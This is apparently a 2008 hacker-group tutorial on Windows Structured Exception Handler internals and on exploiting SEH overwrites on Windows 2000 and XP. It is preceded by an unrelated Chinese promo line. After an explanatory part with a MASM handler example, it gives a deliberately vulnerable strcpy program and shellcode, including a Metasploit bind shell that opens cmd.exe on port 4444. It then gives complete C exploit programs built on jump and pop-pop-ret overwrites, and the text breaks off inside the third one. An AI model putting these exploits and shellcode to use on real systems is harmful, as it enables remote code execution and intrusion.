Playing around with (old?)SEH

深入大模型-52-Harness综述之(二)四大子系统 一个Harness都由四个子系统拼成,Agentic Loop是主干,四个子系统是Tool系统、Memory & Context、Guardrails,再加上一个把它们优雅组织起来的Skill系统。 阅读详情
 
                     ..//..//..//..//..//.|.//..//.//..//..//..
                    [-]                                      [+]
                    [+]     Playing around with (old?)SEH    [-]
                    [-]     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~    [+]
                    [+]                                      [-]
                    [-]     bY suN8Hclf aka crimsoN_Loyd9    [+]
                    [+]                                      [-]
                    [-]   DaRk-CodeRs Group production, kid  [+]
                    [+]                                      [-]
                    [-]          www.dark-coders.pl          [+]              
                    [+]                                      [-]
                    [-]              08.06.2008              [+]
                    [+]                                      [-]
                    [-]        suN8Hclf[at]vp{dot}.pl        [+]
                    [+]   crimson{dot}loyd[at]gmail{dot}com  [-]
                    [-]                                      [+]
                     ..//..//..//..//..//.|.//..//..//..//..//..



[>>1<<]. Introduction
[>>2<<]. SEH (Structured Exception Handler)
[>>3<<]. Coding SEH
         [>a<] introduction
         [>b<] implementation
[>>4<<]. Exploiting SEH
         [>a<] shellcodes
         [>b<] vulnerable vuln.exe
         [>c<] WIN2000 vs. WINXP SP1 (EBX vs. ESP)
               [***exploit1.c](classic overflow)
               [***exploit2.c](using 2 bytes short reverse jump)
               [***exploit3.c](using long reverse jump)
               [***exploit4.c](execution in TEB block)
[>>5<<]. Summary
[>>6<<]. Further reading
[>>7<<]. Greetz



NOTE: Please excuse my poor English, its not my mother language.



><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><
>               [>>1<<]. Introduction                     <
>---------------------------------------------------------<



This paper is about a very powerful but not so good documented mechanism,
which was introduced and implemented in Windows 2000 SP1-SP4 and XP SP0-SP1,
and is called Structured Exception Handler (in summary SEH).

Someone can think that writing about quite old implementations is wasting of time,
in times when we have protections such as DEP (Data Execution Prevention), /GS
or /SAFESEH switches. But, in my opinion, this paper contains a good introduction
into the SEH's workings and provides firm bases to understand exploitation
methods in Windows Server 2003, Windows XP SP2 or Windows Vista platforms.

This paper is an attempt to show and discuss SEH, from the coding and exploitation
side.

At the beginning, I will show how to write our own implementation of try, except 
and finally instructions, later I will discuss some methods of abusing SEH and 
at the end, I will show 4 completely working exploits, which abuses SEH to execute 
any code.

For better understanding of this paper, I recommend you to read my article:
"Shellcode locations and buffer overflows in Windows" [1]

Ok, so lets go!!!


><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><
>      [>>2<<]. SEH (Structured Exception Handler)        <
>---------------------------------------------------------<


Structured Exception Handler is a piece of code, that is executed
in case of a problem during the execution of a process. This problem can be:

1.disruption of the access privilidges
2.division by 0
3.an attempt to read or write from/to forbidden memory areas
It can be also used as a trick to complicate debugging process.

When we call a function, a special "frame of calling" is created on the stack.
The information about exception handler procedure is than put down into 
that "frame of calling" in the EXCEPTION_REGISTRATION structure. This structure 
contains two elements: a pointer to the next EXCEPTION_REGISTRATION structure (*next) 
and a pointer to the right exception handler procedure (*handler). It is very important
that every process's thread has at least one exception handler procedure, that is 
created (the EXCEPTION_REGISTRATION structure) during the thread creation and it is 
always located at the beginning of the segment pointed by FS register. The last 
position on the list, contains -1(0xFFFFFFFF) value and the address of RtlUnwind 
funtion, which is not documented but it is located in kernel32.dll library.

EXCEPTION_REGISTRATION structure looks like the following(C style):

typedef struct EXCEPTION_REGISTRATION{
	EXCEPTION_REGISTRATION *next;
	PEXCETION_HANDLER *handler;
}EXCEPTION_REGISTRATION, *PEXCEPTION_REGISTRATION;


And the linked list of EXCEPTION_REGISTRATION structures looks like this:


               __________________________________
               |Thread Information Block(fs:[0])|----------+
               |           ...                  |          |
               |           ...                  |          |
               |      EXCEPTION_REGISTRATION    |          |
               +--------------------------------+          |
                                                           |
                                                           |
              +----------------------------------+         |
              |     EXCEPTION_REGISTRATION       | <-------+
              +----------------------------------+
              |    [Handler Callback Pointer]    | 
              |                                  |
    +---------|             [*next]              |
    |         +----------------------------------+
    |
    |         +----------------------------------+         
    +-------->|     EXCEPTION_REGISTRATION       | 
              +----------------------------------+         
              |    [Handler Callback Pointer]    |         
              |                                  |         
              |             [*next]              |---------+         
              +----------------------------------+         |
                                                           |
              +----------------------------------+         |
              |     EXCEPTION_REGISTRATION       | <-------+
              +----------------------------------+
              |    [Handler Callback Pointer]    | 
              |                                  |
     +--------|             [*next]              |
     |        +----------------------------------+
     |
     |
     |        +----------------------------------+         
     +------->|          (END OF LIST)           |
              +----------------------------------+
              |           0xFFFFFFFF             |
              +----------------------------------+



><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><
>                  [>>3<<]. Coding SEH                    <
>---------------------------------------------------------<


Lots of programming languages has a set of special instructions to install
exception handler procedures. For instance: In C/C++ there is a construction:
try, except/catch, finally, that catches the exception. Basically, this instructions
only modify the linked list of EXCEPTION_REGISTRATION structures, therefore we 
wont use them and for better and deeper understanding of this mechanism, we will 
write everything in Assembly language(masm32).


>>>>>>>>>>>>>>>>[>a<] introduction
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let's assume that this code appeared in a program(from OllyDbg):

00401000    .  B8 40000000              MOV EAX,40
00401005    .  33C9                     XOR ECX,ECX
00401007    .  F7F9                     IDIV ECX
00401009    .  6A 00                    PUSH 0                            [!]
0040100B    .  E8 00000000              CALL <JMP.&kernel32.ExitProcess>  [!]

This code on the 100 percent will raise an exception (division by zero is impossible). 
The two last instructions wont be executed. Here is a program behaviour when the 
exception will accure:

ntdll!KiUserExceptionDispatcher

77FA15FC     8B1C24                     MOV EBX,DWORD PTR SS:[ESP]
77FA15FF     51                         PUSH ECX
77FA1600     53                         PUSH EBX                 ; kernel32.79340000
77FA1601     E8 F13AFFFF                CALL ntdll.77F950F7 ------+
                                                                  |
                                                                  |
                                                                  |
                                                                  |
77F950F7     55                         PUSH EBP    <-------------+
77F950F8     8BEC                       MOV EBP,ESP
77F950FA     83EC 60                    SUB ESP,60
77F950FD     53                         PUSH EBX
77F950FE     56                         PUSH ESI      ; kernel32.GetProcAddress
77F950FF     8D45 F4                    LEA EAX,DWORD PTR SS:[EBP-C]
77F95102     57                         PUSH EDI      ; kernel32.79397598
77F95103     50                         PUSH EAX
77F95104     8D45 F8                    LEA EAX,DWORD PTR SS:[EBP-8]
77F95107     50                         PUSH EAX
77F95108     E8 779AFFFF                CALL ntdll.77F8EB84
77F9510D     E8 8D9AFFFF                CALL ntdll.77F8EB9F
77F95112     8365 FC 00                 AND DWORD PTR SS:[EBP-4],0
77F95116     8BD8                       MOV EBX,EAX
77F95118     83FB FF                    CMP EBX,-1
77F9511B     0F84 C1CC0100              JE ntdll.77FB1DE2
77F95121     8B75 08                    MOV ESI,DWORD PTR SS:[EBP+8] 
77F95124     3B5D F8                    CMP EBX,DWORD PTR SS:[EBP-8] ; kernel32.79348EC8
77F95127     8D43 08                    LEA EAX,DWORD PTR DS:[EBX+8]
77F9512A     0F82 AECC0100              JB ntdll.77FB1DDE
77F95130     3B45 F4                    CMP EAX,DWORD PTR SS:[EBP-C] ; kernel32.7935F0B4
77F95133     0F87 A5CC0100              JA ntdll.77FB1DDE
77F95139     F6C3 03                    TEST BL,3
77F9513C     0F85 9CCC0100              JNZ ntdll.77FB1DDE
77F95142     F605 86F5FC77 80           TEST BYTE PTR DS:[77FCF586],80
77F95149     0F85 18CC0100              JNZ ntdll.77FB1D67
77F9514F     FF73 04                    PUSH DWORD PTR DS:[EBX+4]
77F95152     8D45 F0                    LEA EAX,DWORD PTR SS:[EBP-10]
77F95155     50                         PUSH EAX
77F95156     FF75 0C                    PUSH DWORD PTR SS:[EBP+C]
77F95159     53                         PUSH EBX
77F9515A     56                         PUSH ESI          ; kernel32.GetProcAddress
77F9515B     E8 E599FFFF                CALL ntdll.77F8EB45 -------+
                                                                   |
                                                                   |
                                                                   |
                                                                   |
77F8EB45     BA B651F977                MOV EDX,ntdll.77F951B6 <---+
77F8EB4A     55                         PUSH EBP
77F8EB4B     8BEC                       MOV EBP,ESP
77F8EB4D     FF75 0C                    PUSH DWORD PTR SS:[EBP+C]
77F8EB50     52                         PUSH EDX
77F8EB51     64:FF35 00000000           PUSH DWORD PTR FS:[0]
77F8EB58     64:8925 00000000           MOV DWORD PTR FS:[0],ESP
77F8EB5F     FF75 14                    PUSH DWORD PTR SS:[EBP+14]
77F8EB62     FF75 10                    PUSH DWORD PTR SS:[EBP+10]
77F8EB65     FF75 0C                    PUSH DWORD PTR SS:[EBP+C]
77F8EB68     FF75 08                    PUSH DWORD PTR SS:[EBP+8]
77F8EB6B     8B4D 18                    MOV ECX,DWORD PTR SS:[EBP+18]    [4]
77F8EB6E     FFD1                       CALL ECX                         [5]


This code can be long analized to get to know all details how Windows prepares the
handling of exceptions. But, it is not essential at this moment. The most
important thing, is to understand general conception, which is presented below:

1. When an exception occures, program jumps to KiUserExceptionDispatcher
2. Then the RTLTraceDatabaseEnumerate function's code is executed
3. Later, the piece of RTLConvertlongToLargeInteger's code
4. Finally, the address of the exception handler procedure is loaded into
   ECX register ([4]).This is the address from the first structure pointed by
   fs:[0].
5. There is a jump to the exception handler procedure (call ECX) ([5])
6. Now the exception handler procedure has the full control over a program's behaviour.
   This procedure can for example close the process in the "elegant" way or try to repair 
   the "thing", that caused an exception.                          


>>>>>>>>>>>>>>[>b<] implementation
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Now, when we know the basics of the exceptions handling, we can write our own
"implementation" of the try, except/catch, finally construction. To achieve this
we have got to create our own EXCEPTION_REGISTRATION structure and insert it
at the beginning of the linked list. So fs:[0] should point to our structure. The
general idea is showed below:


BEFORE
------------------

fs:[0]  ->>> |EXCEPTION_REGISTRATION1|  ->>> |EXCEPTION_REGISTRATION2|  .... ->>> 0xFFFFFFFF


AFTER
------------------

fs:[0]  ->>> |OUR_EXCEPTION_REGISTRATION1| ->>> |EXCEPTION_REGISTRATION1| .... ->>>> 0xFFFFFFFF


To accomplish the state showed above, we have got to do the following:

1. Save the pointer from FS:[0], that points to the first EXCEPTION_REGISTRATION
2. Create our own EXCEPTION_REGISTRATION structure where:
   a> the *handler pointer points to our own exception handler procedure
   b> we set the address to the function, which will be "always" executed (finally
      instruction) 
   c> the *next pointer points to the remembered address of the original first 
      EXCEPTION_REGISTRATION structure (original FS:[0] value)
3. Set the address from FS:[0] to point to our EXCEPTION_REGISTRATION structure
4. Save current values of the stack pointer and the frame pointer (ESP and EBP)

To do the second point we can use the following structure:

---------------------------------CODE----------------------------------
SEH struct
	PrevLink dd ?  		; [1]
	CurrentHandler dd ?	; [2]
	SafeOffset dd ?	        ; [3]
	PrevEsp dd ?		; [4]
	PrevEbp dd ?		; [5]
SEH ends
---------------------------------CODE----------------------------------

[1] -> address of the first EXCEPTION_REGISTRATION structure (fs:[0])
[2] -> address of our structured handler procedure
[3] -> address of the procedure to execute "despite of everything" (finally instruction) 
[4] -> current ESP value
[5] -> current EBP value

Next actions:

ad 1.   push fs:[0]
ad 2.a) mov seh.CurrentHandler, OFFSET myFunc
     b) mov seh.SafeOffset, OFFSET final
     c) pop seh.PrevLink
ad 3.   lea eax, seh
        mov fs:[0], eax
ad 4.   mov seh.PrevEsp,esp
        mov seh.PrevEbp,ebp


Here is an exemplary program:


---------------------exception_implementation.asm-----------------

; Compilation:  ml /Cp /c /coff exception_implementation.asm
; Linking    :  link /subsystem:windows exception_implementation.obj


.386
.model flat,stdcall
option casemap:none

include d:/masm32/include/windows.inc
include d:/masm32/include/kernel32.inc
include d:/masm32/include/user32.inc
includelib d:/masm32/lib/user32.lib
includelib d:/masm32/lib/kernel32.lib

SEH struct
	PrevLink dd ?		
	CurrentHandler dd ?	
	SafeOffset dd ?	
	PrevEsp dd ?		
	PrevEbp dd ?		
SEH ends

.data
napis  db "IN exception",0
napis2 db "OUT of Exception",0
tytul  db "Hello",0

.code
start proc
LOCAL seh:SEH

assume fs:nothing
push fs:[0]
pop seh.PrevLink
mov seh.CurrentHandler,offset SEHHandler
mov seh.SafeOffset,offset FinalExit
lea eax,seh
mov fs:[0], eax
mov seh.PrevEsp,esp
mov seh.PrevEbp,ebp

; Now the structured handler procedure has been installed. Every exception
; will execute OUR function (SEHHandler)

mov eax, 40h
mov ecx, 0
idiv ecx        ;lets cause an exception... ;>


FinalExit:
invoke MessageBox, NULL, addr napis2, addr tytul, MB_OK
invoke ExitProcess, 0	
start endp

SEHHandler proc C uses edx pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
	mov edx,pFrame		
	assume edx:ptr SEH
	mov eax,pContext
	assume eax:ptr CONTEXT
	push [edx].SafeOffset
	pop [eax].regEip           
	push [edx].PrevEsp
	pop [eax].regEsp
	push [edx].PrevEbp
	pop [eax].regEbp
      
	invoke MessageBox, NULL, ADDR napis,ADDR tytul, MB_OK

	mov eax,ExceptionContinueExecution
	ret
SEHHandler endp

end start

---------------------exception_implementation.asm-----------------


><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><
>                  [>>4<<]. Exploiting SEH                <
>---------------------------------------------------------<


>>>>>>>>>>>>>>>>[>a<] shellcodes
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

During this paper I will be using two shellcodes:

>The first one<:

"/xEB/x02/xEB/x05/xE8/xF9/xFF/xFF/xFF/x5B/x33/xC9/x83/xC3"
"/x35/x88/x0B/x83/xEB/x06/x53/xB8/xCF/x05/x35/x79/xFF/xD0"
"/x33/xC9/x51/x53/x53/x51/x05/x11/x11/x11/x11/x2D/x79/x90"
"/x0E/x11/xFF/xD0/x33/xC9/x51/xB8/x1A/xE0/x34/x79/xFF/xD0"
"/x75/x73/x65/x72/x33/x32/x61";

In details:

00401B7C     EB 02          JMP SHORT vuln.00401B80
00401B7E     EB 05          JMP SHORT vuln.00401B85
00401B80     E8 F9FFFFFF    CALL vuln.00401B7E
00401B85     5B             POP EBX
00401B86     33C9           XOR ECX,ECX
00401B88     83C3 35        ADD EBX,35
00401B8B     880B           MOV BYTE PTR DS:[EBX],CL
00401B8D     83EB 06        SUB EBX,6
00401B90     53             PUSH EBX
00401B91     B8 CF053579    MOV EAX,KERNEL32.LoadLibraryA  //check the address of LoadLibraryA on your own
00401B96     FFD0           CALL EAX
00401B98     33C9           XOR ECX,ECX
00401B9A     51             PUSH ECX
00401B9B     53             PUSH EBX
00401B9C     53             PUSH EBX
00401B9D     51             PUSH ECX
00401B9E     05 11111111    ADD EAX,11111111  
00401BA3     2D 79900E11    SUB EAX,110E9079 
00401BA8     FFD0           CALL EAX                 //here, in eax should be an address of 
00401BAA     33C9           XOR ECX,ECX              //MessageBoxA function
00401BAC     51             PUSH ECX
00401BAD     B8 1AE03479    MOV EAX,KERNEL32.ExitProcess      //address of ExitProcess
00401BB2     FFD0           CALL EAX
00401BB4     75 73          JNZ SHORT vuln.00401C29          //coded 'user32.dll' string
00401BB6     65:72 33       JB SHORT vuln.00401BEC
00401BB9     3261           XOR AL,BYTE PTR DS:[EAX]

Wow, I have written it under Windows 2000 Service Pack 4 Polish. If you are
using another Windows platform, you should change address of LoadLibraryA,
MessageBoxA and ExitProcess in kernel32 and User32 to good ones.
As you can see, this simple code simply invokes MessageBoxA and then
it terminates the process.

>The second one<

// win32_bind - Encoded Shellcode [/x00/x0a/x09] [ EXITFUNC=seh LPORT=4444 Size=399 ]  
//http://metasploit.com
unsigned char shellcode[] =
"/xd9/xee/xd9/x74/x24/xf4/x5b/x31/xc9/xb1/x5e/x81/x73/x17/x4f/x85"
"/x2f/x98/x83/xeb/xfc/xe2/xf4/xb3/x6d/x79/x98/x4f/x85/x7c/xcd/x19"
"/xd2/xa4/xf4/x6b/x9d/xa4/xdd/x73/x0e/x7b/x9d/x37/x84/xc5/x13/x05"
"/x9d/xa4/xc2/x6f/x84/xc4/x7b/x7d/xcc/xa4/xac/xc4/x84/xc1/xa9/xb0"
"/x79/x1e/x58/xe3/xbd/xcf/xec/x48/x44/xe0/x95/x4e/x42/xc4/x6a/x74"
"/xf9/x0b/x8c/x3a/x64/xa4/xc2/x6b/x84/xc4/xfe/xc4/x89/x64/x13/x15"
"/x99/x2e/x73/xc4/x81/xa4/x99/xa7/x6e/x2d/xa9/x8f/xda/x71/xc5/x14"
"/x47/x27/x98/x11/xef/x1f/xc1/x2b/x0e/x36/x13/x14/x89/xa4/xc3/x53"
"/x0e/x34/x13/x14/x8d/x7c/xf0/xc1/xcb/x21/x74/xb0/x53/xa6/x5f/xce"
"/x69/x2f/x99/x4f/x85/x78/xce/x1c/x0c/xca/x70/x68/x85/x2f/x98/xdf"
"/x84/x2f/x98/xf9/x9c/x37/x7f/xeb/x9c/x5f/x71/xaa/xcc/xa9/xd1/xeb"
"/x9f/x5f/x5f/xeb/x28/x01/x71/x96/x8c/xda/x35/x84/x68/xd3/xa3/x18"
"/xd6/x1d/xc7/x7c/xb7/x2f/xc3/xc2/xce/x0f/xc9/xb0/x52/xa6/x47/xc6"
"/x46/xa2/xed/x5b/xef/x28/xc1/x1e/xd6/xd0/xac/xc0/x7a/x7a/x9c/x16"
"/x0c/x2b/x16/xad/x77/x04/xbf/x1b/x7a/x18/x67/x1a/xb5/x1e/x58/x1f"
"/xd5/x7f/xc8/x0f/xd5/x6f/xc8/xb0/xd0/x03/x11/x88/xb4/xf4/xcb/x1c"
"/xed/x2d/x98/x5e/xd9/xa6/x78/x25/x95/x7f/xcf/xb0/xd0/x0b/xcb/x18"
"/x7a/x7a/xb0/x1c/xd1/x78/x67/x1a/xa5/xa6/x5f/x27/xc6/x62/xdc/x4f"
"/x0c/xcc/x1f/xb5/xb4/xef/x15/x33/xa1/x83/xf2/x5a/xdc/xdc/x33/xc8"
"/x7f/xac/x74/x1b/x43/x6b/xbc/x5f/xc1/x49/x5f/x0b/xa1/x13/x99/x4e"
"/x0c/x53/xbc/x07/x0c/x53/xbc/x03/x0c/x53/xbc/x1f/x08/x6b/xbc/x5f"
"/xd1/x7f/xc9/x1e/xd4/x6e/xc9/x06/xd4/x7e/xcb/x1e/x7a/x5a/x98/x27"
"/xf7/xd1/x2b/x59/x7a/x7a/x9c/xb0/x55/xa6/x7e/xb0/xf0/x2f/xf0/xe2"
"/x5c/x2a/x56/xb0/xd0/x2b/x11/x8c/xef/xd0/x67/x79/x7a/xfc/x67/x3a"
"/x85/x47/x68/xc5/x81/x70/x67/x1a/x81/x1e/x43/x1c/x7a/xff/x98";


The second, was generated in Metasploit Framework. It binds
Windows shell (cmd.exe) to port 4444 and waits for a connection.


>>>>>>>>>>[>b<] vulnerable vuln.exe
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Generally speaking, during the process of exploitation, we want to overwrite the
*handler pointer. This is the only thing that we have got to do, when we want our code 
be executed during an exception.
Ok, so now an exception accures...
Then, the overwritten *handler pointer is loaded into the ECX register and there
is a call to it (call ECX). And now we have a problem...
Where should we jump?

In Windows 2000 SP1-SP4 and Windows XP Unpatched, during the preparation to execute 
Structured Exception Handler and during the execution of the *handler code, the EBX register 
points to the current EXCEPTION_REGISTRATION structure. The easiest way to execute our
own code looks like the following:

1. The *next field should be overwritten with the short 6 bytes ahead jump
2. The *handler field should be overwritten with a jump to EBX (jmp EBX, call EBX
   push EBX-ret)
3. We put our shellcode with a NOP sledge behind the EXCEPTION_REGISTRATION structure

Before we test this idea, lets write a very easy and vulnerable program:

----------------vuln.c---------------------
#include <stdio.h>
#include <windows.h>

int main(int argc, char *argv[])
{
  char buffer[300];
  int a;
  strcpy(buffer, argv[1]);   [1]   
  a=3/0;                     [2]                    
  return 0;
}
---------------vuln.c----------------------

Before we start, lets make some guide lines. First of all, to accomplish
the scenario, which I have described above, it is essential to cause an 
exception in the vulnerable program. If we run the vuln.exe program with
a short string, it will crash on the [2] instruction. It will raise an exception,
a default *handler procedure will be executed, program will be terminated and
we will lose a chance to gain administrator privileges :).
On the other side the instuction above[2], copies data to the constant sized
buffer on the stack and it does not check the data's length. So we can cause
buffer overflows and execute our code. Of course, in practice there would not
be instruction[2] because the overwritten EIP register(classic buffer overflow)
would cause an exception. [2] is only here, to show that program wont crash
during division by 0, and it will execute any code.


[NOTE1 !!!!!]
*******************************************************************************
*To make our thinking much easier lets assume that 416 bytes is the maximum of*
*data that DOES NOT overwrite the *next pointer int the EXCEPTION_REGISTRATION*
*structure on the stack.                                                      *

[NOTE2!!!!]
*******************************************************************************
*All constants values in the exploits's code ware counted during testing and  *
*debugging. It is a mistake to assume that they are good in all conditions.   *
*If you exactly understand a method of exploitation, you wont have any        *
*problems to choose the right "constant" values.                              *


>>>>>>>>[>c<] WIN2000 vs. WINXP SP1
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

As I have written above in Win2000 and unpatched WINXP, during the preparation
to execute and execution of the exception handler procedure, the EBX register
points to the current EXCEPTION_REGISTRATION structure. In this case the situation
is quite simple. We overwrite the *handler poiner with the jmp to the EBX and 
we have full control over the program execution.

The problem occures in Windows XP SP1. Here, the code, that prepares to pass the
control to exception handler procedure, is additionally supplemented with zero-ing
"crytical" registers:


(from ntdll.dll):

7C903767    53              PUSH EBX
7C903768    56              PUSH ESI
7C903769    57              PUSH EDI                     ; ntdll.7C910738
7C90376A    33C0            XOR EAX,EAX
7C90376C    33DB            XOR EBX,EBX    <-- fuck, and what we gonna do now? ;( 
7C90376E    33F6            XOR ESI,ESI
7C903770    33FF            XOR EDI,EDI                  ; ntdll.7C910738

Later, there is useless for us code and then there is an execution of the
exception handler procedure (the same as in Win2000):

(from ntdll.dll)

7C903799    55              PUSH EBP
7C90379A    8BEC            MOV EBP,ESP
7C90379C    FF75 0C         PUSH DWORD PTR SS:[EBP+C]
7C90379F    52              PUSH EDX                                 ; ntdll.7C9037D8
7C9037A0    64:FF35 0000000>PUSH DWORD PTR FS:[0]
7C9037A7    64:8925 0000000>MOV DWORD PTR FS:[0],ESP
7C9037AE    FF75 14         PUSH DWORD PTR SS:[EBP+14]
7C9037B1    FF75 10         PUSH DWORD PTR SS:[EBP+10]
7C9037B4    FF75 0C         PUSH DWORD PTR SS:[EBP+C]
7C9037B7    FF75 08         PUSH DWORD PTR SS:[EBP+8]
7C9037BA    8B4D 18         MOV ECX,DWORD PTR SS:[EBP+18]  <-- *handler to ECX
7C9037BD    FFD1            CALL ECX                  <-- jump to exception handler procedure

So, when Windows passes the control to the exception handler procedure, the EBX
register contains 0. We cannot simply jump to EBX because this will raise another
exception and program will be terminated immediately. The situation seems very
bad but if we only look at the stack image before the execution of *handler procedure
we will find the solution very fast.

ESP   ->   the return address (somewhere in ntdll.dll)
ESP+4 ->   the exception's indicator
ESP+8 ->   the address of the EXCEPTION_REGISTRATION structure

So, instead of jumping to EBX we can:

1. jmp dword ptr[esp+8]
2. pop - pop - ret

The second sequence will add 8 to ESP and then will jump to the address, that is on the
top of the stack.

Now, we know everything so we can start exploiting SEH :)


@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
&>&>&<&><&>&<>&<>&<&><&>666[***exploit1.c]666<&><&>&<>&<>&<&><&>&<&<&
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                          (classic overflow)


As I have written before, we pass to the vuln.exe the folowing string:

                        +--------->-------->-----------+
                        |                              |
[416 bytes of trash][jmp 6][jmp ebx, pop-pop-ret][some NOPs][shellcode]


--------------------------------exploit1.c-------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define RET 0x79396DBE    // the address of jmp ebx (win2000) or pop-pop-ret (win XP SP2)
#define JUMP 0x909006EB   // jmp 6

#define TRASH 0x41

char shellcode[]=
"/xEB/x02/xEB/x05/xE8/xF9/xFF/xFF/xFF/x5B/x33/xC9/x83/xC3"
"/x35/x88/x0B/x83/xEB/x06/x53/xB8/xCF/x05/x35/x79/xFF/xD0"
"/x33/xC9/x51/x53/x53/x51/x05/x11/x11/x11/x11/x2D/x79/x90"
"/x0E/x11/xFF/xD0/x33/xC9/x51/xB8/x1A/xE0/x34/x79/xFF/xD0"
"/x75/x73/x65/x72/x33/x32/x61";

int main(int argc, char *argv[])
{
char *bufExe[3];
char buf[700];
int i;
char *ptr = buf;

memset(buf, 0, sizeof(buf));
bufExe[0] = "vuln.exe";
bufExe[2] = NULL;

for(i=0;i<416;i++)
(*ptr++) = TRASH;

*(unsigned long *)&buf[416] = JUMP;
*(unsigned long *)&buf[420] = RET;
strcat(buf, "/x90/x90/x90/x90");
strcat(buf, shellcode);
bufExe[1] = buf;
execve(bufExe[0],bufExe,NULL);	
return 0;
}
--------------------------------exploit1.c-------------------------------


@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
&>&>&<&><&>&<>&<>&<&><&>666[***exploit2.c]666<&><&>&<>&<>&<&><&>&<&<&
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                  (using 2 bytes short reverse jump)


Another interesting way to abuse SEH is to use 2-bytes reverse short jump. 
Instead of placing shellcode behind the EXCEPTION_REGISTRATION structure, we put it 
in the vuln.exe's buffer and we use short reverse jump to execute the code.
A great article about 2-bytes reverse short jumps can be found at[2]


       +-------<----------<-------<-----------+
       |                                      |
[NOP Sledge][shellcode][some NOPS][short reverse jump][jmp ebx, pop-pop-ret]


--------------------------------exploit2.c-------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define RET 0x79392C0B      //jmp ebx, pop-pop-ret
#define JUMP 0x909080EB     //short reverse jump (jmp 80)

#define TRASH 0x90

char shellcode[] = 
"/xEB/x02/xEB/x05/xE8/xF9/xFF/xFF/xFF/x5B/x33/xC9/x83/xC3"
"/x35/x88/x0B/x83/xEB/x06/x53/xB8/xCF/x05/x35/x79/xFF/xD0"
"/x33/xC9/x51/x53/x53/x51/x05/x11/x11/x11/x11/x2D/x79/x90"
"/x0E/x11/xFF/xD0/x33/xC9/x51/xB8/x1A/xE0/x34/x79/xFF/xD0"
"/x75/x73/x65/x72/x33/x32/x61";
                
int main(int argc, char *argv[])
{
char *bufExe[3];
char buf[700];
int i;
char *ptr = buf;

memset(buf, 0, sizeof(buf));
bufExe[0] = "vuln.exe";
bufExe[2] = NULL;

for(i=0;i<310;i++)
(*ptr++) = TRASH;

strcat(buf, shellcode);                  
for(i=sizeof(shellcode)+307;i<416;i++)
strcat(buf, "/x90");

*(unsigned long *)&buf[416] = JUMP;
*(unsigned long *)&buf[420] = RET;

bufExe[1] = buf;
execve(bufExe[0],bufExe,NULL);	
return 0;
}
--------------------------------exploit2.c-------------------------------


As you can see, it is very important to jump to the NOPS before the shellcode.
Short jumps are... SHORT !!! :) so shellcode should be as near as possible to
EXCEPTION_REGISTRATION structure.


@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
&>&>&<&><&>&<>&<>&<&><&>666[***exploit3.c]666<&><&>&<>&<>&<&><&>&<&<&
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                      (using long reverse jump)


Till now, we were playing with quite small (short) shellcode (the first one).
To execute larger shellcodes (400 bytes in our case) we have got to find 
a place for it. Here the knowledge from my paper [1] will be very very useful.
As you probably know, we cannot use the first method to execute our second
shellcode because it will be cut (shellcode). The second method with short jump
would also fail because the range of the jump is too small. It wont jump
over 400 bytes of shellcode + some NOP's.

The good idea is a small modyfication of the second method. We also place our
shellcode in the vuln.exe's buffer and we ALSO jump there but in another way :)
To accomplish it, we have got to know the approximate location of the shellcode
on the stack. In case of Win2000 it is very simple, because the EBX register
points to the current EXCEPTION_REGISTRATION structure, so the buffer must be
somewhere before the structure.

But on Win XP SP1 there is a problem because the EBX register is zeroed, therefore
we have got to find another point of reference to count the address, where the
shellcode was placed. We can use the current stack pointer (ESP). But this time,
we have got to add a value to ESP and than jump.


--------------------------------exploit3.c-------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define RET 0x79392C0B          //jmp ebx or pop-pop-ret
#define JUMP 0x909006EB         //jump 6

char shellcode[]=
"/xd9/xee/xd9/x74/x24/xf4/x5b/x31/xc9/xb1/x5e/x81/x73/x17/x4f/x85"
"/x2f/x98/x83/xeb/xfc/xe2/xf4/xb3/x6d/x79/x98/x4f/x85/x7c/xcd/x19"
"/xd2/xa4/xf4/x6b/x9d/xa4/xdd/x73/x0e/x7b/x9d/x37/x84/xc5/x13/x05"
"/x9d/xa4/xc2/x6f/x84/xc4/x7b/x7d/xcc/xa4/xac/xc4/x84/xc1/xa9/xb0"
"/x79/x1e/x58/xe3/xbd/xcf/xec/x48/x44/xe0/x95/x4e/x42/xc4/x6a/x74"
"/xf9/x0b/x8c/x3a/x64/xa4/xc2/x6b/x84/xc4/xfe/xc4/x89/x64/x13/x15"
"/x99/x2e/x73/xc4/x81/xa4/x99/xa7/x6e/x2d/xa9/x8f/xda/x71/xc5/x14"
"/x47/x27/x98/x11/xef/x1f/xc1/x2b/x0e/x36/x13/x14/x89/xa4/xc3/x53"
"/x0e/x34/x13/x14/x8d/x7c/xf0/xc1/xcb/x21/x74/xb0/x53/xa6/x5f/xce"
"/x69/x2f/x99/x4f/x85/x78/xce/x1c/x0c/xca/x70/x68/x85/x2f/x98/xdf"
"/x84/x2f/x98/xf9/x9c/x37/x7f/xeb/x9c/x5f/x71/xaa/xcc/xa9/xd1/xeb"
"/x9f/x5f/x5f/xeb/x28/x01/x71/x96/x8c/xda/x35/x84/x68/xd3/xa3/x18"
"/xd6/x1d/xc7/x7c/xb7/x2f/xc3/xc2/xce/x0f/xc9/xb0/x52/xa6/x47/xc6"
